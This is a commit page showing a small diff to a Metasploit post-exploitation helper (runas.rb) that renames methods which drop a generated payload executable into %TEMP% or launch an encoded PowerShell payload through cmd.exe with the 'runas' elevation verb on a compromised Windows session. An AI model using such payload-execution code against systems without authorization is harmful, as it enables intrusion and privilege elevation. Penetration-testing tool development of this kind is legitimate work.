Skip to content

Commit 5aa347e

Browse files
committed
Changed Method Names
Changed names to look like shell_execute_(option), to make it more defined on what it does.
1 parent 5c2b074 commit 5aa347e

File tree

1 file changed

+6
-4
lines changed

1 file changed

+6
-4
lines changed

lib/msf/core/post/windows/runas.rb

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ module Msf::Post::Windows::Runas
99
include Msf::Exploit::EXE
1010
include Msf::Exploit::Powershell
1111

12-
def execute_exe(filename = nil, path = nil)
12+
def shell_execute_exe(filename = nil, path = nil)
1313
exe_payload = generate_payload_exe
1414
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
1515
payload_path = path || expand_path('%TEMP%')
@@ -20,13 +20,15 @@ def execute_exe(filename = nil, path = nil)
2020
shell_exec(command, args)
2121
end
2222

23-
def execute_psh
24-
command, args = 'cmd.exe', " /c #{cmd_psh_payload(payload.encoded)}"
23+
def shell_execute_psh
24+
powershell_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
25+
command = 'cmd.exe'
26+
args = "/c #{powershell_command}"
2527
shell_exec(command, args)
2628
end
2729

2830
def shell_exec(command, args)
2931
print_status('Executing Command!')
30-
session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 5)
32+
session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW')
3133
end
3234
end

0 commit comments

Comments
 (0)